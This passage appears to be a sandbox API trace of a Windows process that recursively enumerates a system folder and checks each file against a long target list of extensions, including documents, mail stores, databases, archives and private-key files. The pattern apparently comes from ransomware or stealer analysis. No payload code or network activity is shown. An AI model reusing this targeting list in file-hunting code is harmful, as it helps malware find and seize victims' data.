(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.062] lstrlenA (lpString="*.ofx") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.062] lstrlenA (lpString="*.qif") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.062] lstrlenA (lpString="*.mye") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.062] lstrlenA (lpString="*.mbox") returned 6 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.062] lstrlenA (lpString="*.eml") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.062] lstrlenA (lpString="*.pst") returned 5 [0110.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.062] lstrlenA (lpString="*.ost") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.063] lstrlenA (lpString="*.idx") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.063] lstrlenA (lpString="*.dbx") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.063] lstrlenA (lpString="*.sql") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.063] lstrlenA (lpString="*.mdb") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.063] lstrlenA (lpString="*.fdb") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.063] lstrlenA (lpString="*.wab") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.063] lstrlenA (lpString="*.dat") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.063] lstrlenA (lpString="*.txt") returned 5 [0110.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.063] lstrlenA (lpString="*.jpeg") returned 6 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.064] lstrlenA (lpString="*.jpg") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.064] lstrlenA (lpString="*.png") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.064] lstrlenA (lpString="*.php") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.064] lstrlenA (lpString="*.cs") returned 4 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.064] lstrlenA (lpString="*.cpp") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.064] lstrlenA (lpString="*.rar") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.064] lstrlenA (lpString="*.zip") returned 5 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.064] lstrlenA (lpString="*.html") returned 6 [0110.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.064] lstrlenA (lpString="*.htm") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.065] lstrlenA (lpString="*.xlsx") returned 6 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.065] lstrlenA (lpString="*.xls") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.065] lstrlenA (lpString="*.mp4") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.065] lstrlenA (lpString="*.ppt") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.065] lstrlenA (lpString="*.pptx") returned 6 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.065] lstrlenA (lpString="*.doc") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.065] lstrlenA (lpString="*.dot") returned 5 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.065] lstrlenA (lpString="*.docx") returned 6 [0110.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.066] lstrlenA (lpString="*.7z") returned 4 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.066] lstrlenA (lpString="*.tar") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.066] lstrlenA (lpString="*.bz2") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.066] lstrlenA (lpString="*.gz") returned 4 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.066] lstrlenA (lpString="*.mkv") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.066] lstrlenA (lpString="*.eml") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.066] lstrlenA (lpString="*.msg") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.066] lstrlenA (lpString="*.edb") returned 5 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.066] lstrlenA (lpString="*.accdb") returned 7 [0110.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.067] lstrlenA (lpString="*.odb") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.067] lstrlenA (lpString="*.java") returned 6 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.067] lstrlenA (lpString="*.asm") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.067] lstrlenA (lpString="*.pfx") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.067] lstrlenA (lpString="*.pem") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.067] lstrlenA (lpString="*.p12") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.067] lstrlenA (lpString="*.gpg") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.067] lstrlenA (lpString="*.vsd") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.067] lstrlenA (lpString="*.odg") returned 5 [0110.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.068] lstrlenA (lpString="*.raw") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.068] lstrlenA (lpString="*.nef") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.068] lstrlenA (lpString="*.svg") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.068] lstrlenA (lpString="*.psd") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.068] lstrlenA (lpString="*.vmx") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.068] lstrlenA (lpString="*.vmdk") returned 6 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.068] lstrlenA (lpString="*.vdi") returned 5 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.068] lstrlenA (lpString="*.lay6") returned 6 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.068] lstrlenA (lpString="*.mpeg") returned 6 [0110.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.068] lstrlenA (lpString="*.djvu") returned 6 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.069] lstrlenA (lpString="*.tiff") returned 6 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.069] lstrlenA (lpString="*.backup") returned 8 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.069] lstrlenA (lpString="*.pdf") returned 5 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.069] lstrlenA (lpString="*.cert") returned 6 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.069] lstrlenA (lpString="*.docm") returned 6 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.069] lstrlenA (lpString="*.xlsm") returned 6 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.069] lstrlenA (lpString="*.dwg") returned 5 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.069] lstrlenA (lpString="*.nd") returned 4 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.069] lstrlenA (lpString="*.tlg") returned 5 [0110.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.069] lstrlenA (lpString="*.lgb") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.070] lstrlenA (lpString="*.mov") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.070] lstrlenA (lpString="*.xdw") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.070] lstrlenA (lpString="*.ods") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.070] lstrlenA (lpString="*.wav") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.070] lstrlenA (lpString="*.mp3") returned 5 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.070] lstrlenA (lpString="*.aiff") returned 6 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.070] lstrlenA (lpString="*.flac") returned 6 [0110.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.070] lstrlenA (lpString="*.m4a") returned 5 [0110.118] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.118] lstrlenA (lpString="*.csv") returned 5 [0110.118] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e99b850, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4e99b850, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4e99b850, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x37000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.118] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.118] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61c45d60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61c45d60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61c45d60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4f1790a086595c43d01d7ceac80242fb", cAlternateFileName="4F1790~1")) returned 1 [0110.119] lstrcmpA (lpString1=".", lpString2="4f1790a086595c43d01d7ceac80242fb") returned -1 [0110.119] lstrcmpA (lpString1="..", lpString2="4f1790a086595c43d01d7ceac80242fb") returned -1 [0110.119] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.119] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="4f1790a086595c43d01d7ceac80242fb" | out: 